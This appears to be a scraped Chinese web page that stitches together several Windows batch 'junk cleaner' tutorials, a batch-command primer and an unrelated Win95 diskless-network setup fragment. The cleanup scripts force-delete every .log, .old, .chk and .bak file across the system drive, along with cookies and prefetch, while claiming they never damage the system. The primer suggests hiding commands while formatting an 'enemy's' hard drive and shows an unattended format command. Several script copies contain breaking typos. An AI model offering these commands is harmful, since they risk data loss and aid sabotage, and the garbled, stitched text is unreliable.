文章由情难枕精心整理,希望对大家的学习和工作带来帮助 @echo off echo ----------------------------------------------------------------------------- echo 清空IE临时文件目录... del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" echo 正在清除系统临时文件 *.tmp *._tmp *.log *.chk *.old ,请稍等... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp rem .log大部分有可能有用 rem del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old echo 清空垃圾箱,备份文件和预缓存脚本... del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp rem cooke和最近历史还是保留吧... rem del /f /q %userprofile%\COOKIES s\*.* rem del /f /q %userprofile%\recent\*.* echo 清理系统盘无用文件... %windir%\system32\sfc.exe /purgecache echo 优化预读信息... %windir%\system32\defrag.exe %systemdrive% -b echo 清除系统完成! echo -----------------------------------------------------------------------------
bat命令大全 清理系统垃圾更简单
1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label (label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off
一键清理系统垃圾文件制作
一键清理系统垃圾文件制作 [强烈推荐]30秒清除你电脑中的垃圾(使你电脑急速如飞)(高手已测) 要轻松流畅上网你是否注意到你的电脑系统磁盘的可用空间正在一天天在减少呢?是不是像老去的猴王一样动作一天比一天迟缓呢?是不是游戏一天一天慢下来呢? 没错!在Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp、*._mp)日志文件(*.log)、临时帮助文件(*.gid)、磁盘检查文件(*.chk)、临时备份文件(如:*.old、*.bak)以及其他临时文件。特别是如果一段时间不清理IE的临时文件夹“Temporary Internet Files”,其中的缓存文件有时会占用上百MB的磁盘空间。这些LJ文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行慢如蜗牛。这点相信你肯定忍受不了吧!所以应及时清理系统的LJ文件的淤塞,保持系统的“苗条”身材,轻松流畅上网!朋友来吧,现在就让我们一起来快速清除系统垃圾吧!!下面是步骤很简单就两步! 在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去(黑色部分),点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统LJ.bat”,就完成了。记住后缀名一定要是.bat,ok!你的垃圾清除器就这样制作成功了! 双击它就能很快地清理垃圾文件,大约一分钟不到。 ======就是下面的文字(这行不用复制)============================= @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
清除系统lj.bat用法怎么用
清除系统lj.bat用法怎么用 清除系统lj.bat用法怎么用 在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去。点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统LJ.bat”,就完成了。记住后缀名一定要是.bat格式,ok!你的垃圾清除器就这样制作成功了! 双击它就能很快地清理垃圾文件,大约几十秒【清理时间长短是根据系统垃圾文件的多少而决定】。如果你想改变生成的图标。右键点击此图标发送到桌面创建快捷方式右键点击快捷方式属性点击下面中间的“更改图标”任选一个图标确定。 @echooff echo正在清除系统垃圾文件,请稍等...... del/f/s/q%systemdrive%\*.tmp del/f/s/q%systemdrive%\*._mp del/f/s/q%systemdrive%\*.log del/f/s/q%systemdrive%\*.gid del/f/s/q%systemdrive%\*.chk del/f/s/q%systemdrive%\*.old del/f/s/q%systemdrive%\recycled\*.* del/f/s/q%windir%\*.bak del/f/s/q%windir%\prefetch\*.* rd/s/q%windir%\temp&md%windir%\temp
del/f/q%userprofile%\cookies\*.* del/f/q%userprofile%\recent\*.* del/f/s/q"%userprofile%\LocalSettings\TemporaryInternetF iles\*.*" del/f/s/q"%userprofile%\LocalSettings\Temp\*.*" del/f/s/q"%userprofile%\recent\*.*" echo清除系统LJ完成! echo.&pause 打开还是记事本的`看清楚这里最后将它保存,然后更名为“清除系统LJ.bat” ok!你的LJ清除器就这样制作成功了! 以后只要双击运行该文件,当屏幕提示“清除系统LJ完成!就还你一个“苗条”的系统了!!到时候再看看你的电脑,是不是急速如飞呢? 其他方法: 适用工具如360系统清理金山系统清理QQ系统清理等也可以,不过本人比较喜欢这个批处理,放在桌面一键搞定。 注:LJ就是垃圾的意思!这招比那些所谓的优化大师好用!最重要的是无论在公司默认的系统环境还是在自己家中的电脑都不会破坏系统文件
电脑清理系统垃圾bat自己制作小程序啦
[强烈推荐]30秒清除你电脑中的垃圾(使你电脑急速如飞)(高手已测) 要轻松流畅上网你是否注意到你的电脑系统磁盘的可用空间正在一天天在减少呢?是不是像老去的猴王一样动作一天比一天迟缓呢?是不是游戏一天一天慢下来呢? 没错!在Windows在安装和使用过程中都会产生相当多的垃圾文件,包括临时文件(如:*.tmp、*._mp)日志文件(*.log)、临时帮助文件(*.gid)、磁盘检查文件(*.chk)、临时备份文件(如:*.old、*.bak)以及其他临时文件。特别是如果一段时间不清理IE的临时文件夹“Temporary Internet Files”,其中的缓存文件有时会占用上百MB的磁盘空间。这些LJ文件不仅仅浪费了宝贵的磁盘空间,严重时还会使系统运行慢如蜗牛。这点相信你肯定忍受不了吧!所以应及时清理系统的LJ文件的淤塞,保持系统的“苗条”身材,轻松流畅上网!朋友来吧,现在就让我们一起来快速清除系统垃圾吧!!下面是步骤很简单就两步! 在电脑屏幕的左下角按“开始→程序→附件→记事本”,把下面的文字复制进去(黑色部分),点“另存为”,路径选“桌面”,保存类型为“所有文件”,文件名为“清除系统LJ.bat”,就完成了。记住后缀名一定要是.bat,ok!你的垃圾清除器就这样制作成功了! 双击它就能很快地清理垃圾文件,大约一分钟不到。 ======就是下面的文字(这行不用复制)============================= @echo off echo 正在清除系统垃圾文件,请稍等...... del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %systemdrive%\recycled\*.* del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /q %userprofile%\cookies\*.* del /f /q %userprofile%\recent\*.* del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Settings\Temp\*.*" del /f /s /q "%userprofile%\recent\*.*" echo 清除系统LJ完成! echo. & pause =====到这里为止(这行不用复 制)============================================== 以后只要双击运行该文件,当屏幕提示“清除系统LJ完成!就还你一个“苗条”的系统了!!
windows7垃圾文件清理批处理
@echo off color 0A @echo. @echo.================================================ @echo. windows 7 系统垃圾文件清理 @echo. @echo. Are you ready? GO!! @echo.================================================ pause taskkill /f /im explorer.exe del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp rd /s /q %windir%\temp & md %windir%\temp del /f /s /q "%userprofile%\local settings\temp\*.*" del /f /s /q %systemdrive%\*.log del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %windir%\*.bak del /f /s /q %systemdrive%\*.old del /f /s /q c:\$recycle.bin\*.* del /f /s /q d:\$recycle.bin\*.* del /f /s /q e:\$recycle.bin\*.* del /f /s /q f:\$recycle.bin\*.* del /f /s /q g:\$recycle.bin\*.* rd /s /q %windir%\SoftwareDistribution\Download &
一键清理文件垃圾
思路 1.在生成Win95版本的netSdos.sys(简称net.w95)之前,和该文件大小为0字节时,巧妙调整修改Win95远程启动(rpl)安装相关文件的配置及操作:删除、拷贝等,生成可引导至Win95/DOS状态的net.w95文件。 2.修改用户注册文件,把Win95整个系统当作一个简单的软件来安装和使用。 要求 1.服务器(jxsx-server)和工作站为586/100以上兼容机,16M或32M RAM,网卡PCI 或NE2000(本文以PCI为例)。 2.Novell版本4.11或以上,工作站3~4台,至少有一台已安装Win95及相关客户软件,即*.vlm,net.cfg,vlm.exe等。 一、Win95版本net.w95文件巧妙生成 1.运行netsetup.exe完成服务器共享的安装设为:jxsx-sever\sys\sbs 2.修改msbatch.inf文件 [setup] installtype=3 uninstall=0 display=1 [network setup] hdboot=0 rplsetup=1 network station setup=1 display network setup=1 ;installdir=″jxsx\sys\winuser″ display=1 3.在无盘工作站1号机上,在DOS 6 22方式下以admin注册运行 map f:=sys:\sbs f: setup /t:f:\temp 根据安装向导,选择“远程无盘启动方式运行Windows”; 设置机器(用户)目录f:\winuser(sys为系统卷) 4.从装有Win95的工作站2号机,以DOS 6.22无盘方式启动至网络(admin注册),转到f:\winuser目录,观察该目录下当产生config.win文件时暂停1号机的“下一步”安装,编辑config.win文件内容为: device=himem.sys device=emm386.exe ram device=ramdrive.sys 1440/A dos=high,umb files=64 lastdrive=z 同时将sbs下的himem.sys,emm386.exe,ramdrive.sys拷贝至该目录和suboot目录下
清理Windows 7系统垃圾文件的批处理
清理Windows 7系统垃圾文件的批处理 打开记事本,将以下代码复制下载,然后另存为"清理系统垃圾.bat"(不包括双引号)双击运行就可以了~~~ ---------复制以下代码----------- @echo off color 0a title 清理win7系统垃圾 echo echo. echo echo. echo. echo. echo. echo. echo 正在清除系统垃圾文件,请稍等..... echo. echo echo echo 清理垃圾文件,速度由电脑文件大小而定。在没看到结尾信息时 echo 请勿关闭本窗口。 echo 正在清除系统垃圾文件,请稍后...... echo 删除补丁备份目录
RD %windir%\$hf_mig$ /Q /S echo 把补丁卸载文件夹的名字保存成2950800.txt dir %windir%\$NtUninstall* /a:d /b >%windir%\2950800.txt echo 从2950800.txt中读取文件夹列表并且删除文件夹 for /f %%i in (%windir%\2950800.txt) do rd %windir%\%%i /s /q echo 删除2950800.txt del %windir%\2950800.txt /f /q echo 删除补丁安装记录内容(下面的del /f /s /q %systemdrive%\*.log已经包含删除此类文件)del %windir%\KB*.log /f /q echo 删除系统盘目录下临时文件 del /f /s /q %systemdrive%\*.tmp echo 删除系统盘目录下临时文件 del /f /s /q %systemdrive%\*._mp echo 删除系统盘目录下日志文件 del /f /s /q %systemdrive%\*.log echo 删除系统盘目录下GID文件(属于临时文件,具体作用不详) del /f /s /q %systemdrive%\*.gid echo 删除系统目录下scandisk(磁盘扫描)留下的无用文件 del /f /s /q %systemdrive%\*.chk echo 删除系统目录下old文件 del /f /s /q %systemdrive%\*.old echo 删除回收站的无用文件 del /f /s /q %systemdrive%\recycled\*.* echo 删除系统目录下备份文件
清理电脑垃圾的批处理
清理系统垃圾的批处理文件 新建TXT文本文档,保存为系统清理.bat 右击系统清理.bat 选择编辑,复制以下内容到文件中,保存 保存后双击运行。 @echo off title Windows 系统无用文件清理 color 2E echo ------------------------------------------- echo 开始进行系统清理 pause cls @echo off del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %mindir%\temp del /f /s /q "%appdate%\Microsoft\Windows\cookies\*.*" del /f /s /q "%userprofile%\Local Setting\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local Setting\Temp\*.*" rd /s /q "%userprofile%\Local Settings\Temp\" & md "%userprofile%\Local Settings\Temp\" del /f /s /q "%appdata%\Microsoft\Windows\Recent\*.*" @echo off cls color 2A echo--------------------系统垃圾清理完成-------------------------- echo-------------------------------------------------------------- echo---------------------------退出------------------------------- pause-----------------------
CMD常用命令七--自动清理系统垃圾
自动清除windows系统垃圾文件.bat @echo off rem windows 系统无用文件清理 color 2E echo --------------------------------------------------- echo 开始进行系统清理 pause cls @echo off del /f /s /q %systemdrive%\*.tmp del /f /s /q %systemdrive%\*._mp del /f /s /q %systemdrive%\*.gid del /f /s /q %systemdrive%\*.chk del /f /s /q %systemdrive%\*.old del /f /s /q %windir%\*.bak del /f /s /q %windir%\prefetch\*.* rd /s /q %windir%\temp & md %windir%\temp del /f /s /q "%appdata%\Microsoft\Windows\cookies\*.*" del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*" del /f /s /q "%userprofile%\Local
Settings\Temp\*.*" rd /s /q "%userprofile%\Local Settings\Temp\" & md "%userprofile%\Local Settings\Temp\" del /f /s /q "%appdata%\Microsoft\Windows\Recent\*.*" @echo off cls color 2A echo----系统垃圾清理完成!!!------------------ echo---------------------------------------------------------------- echo-------------------退出-------------------------------------- pause --------------------------------------------------------------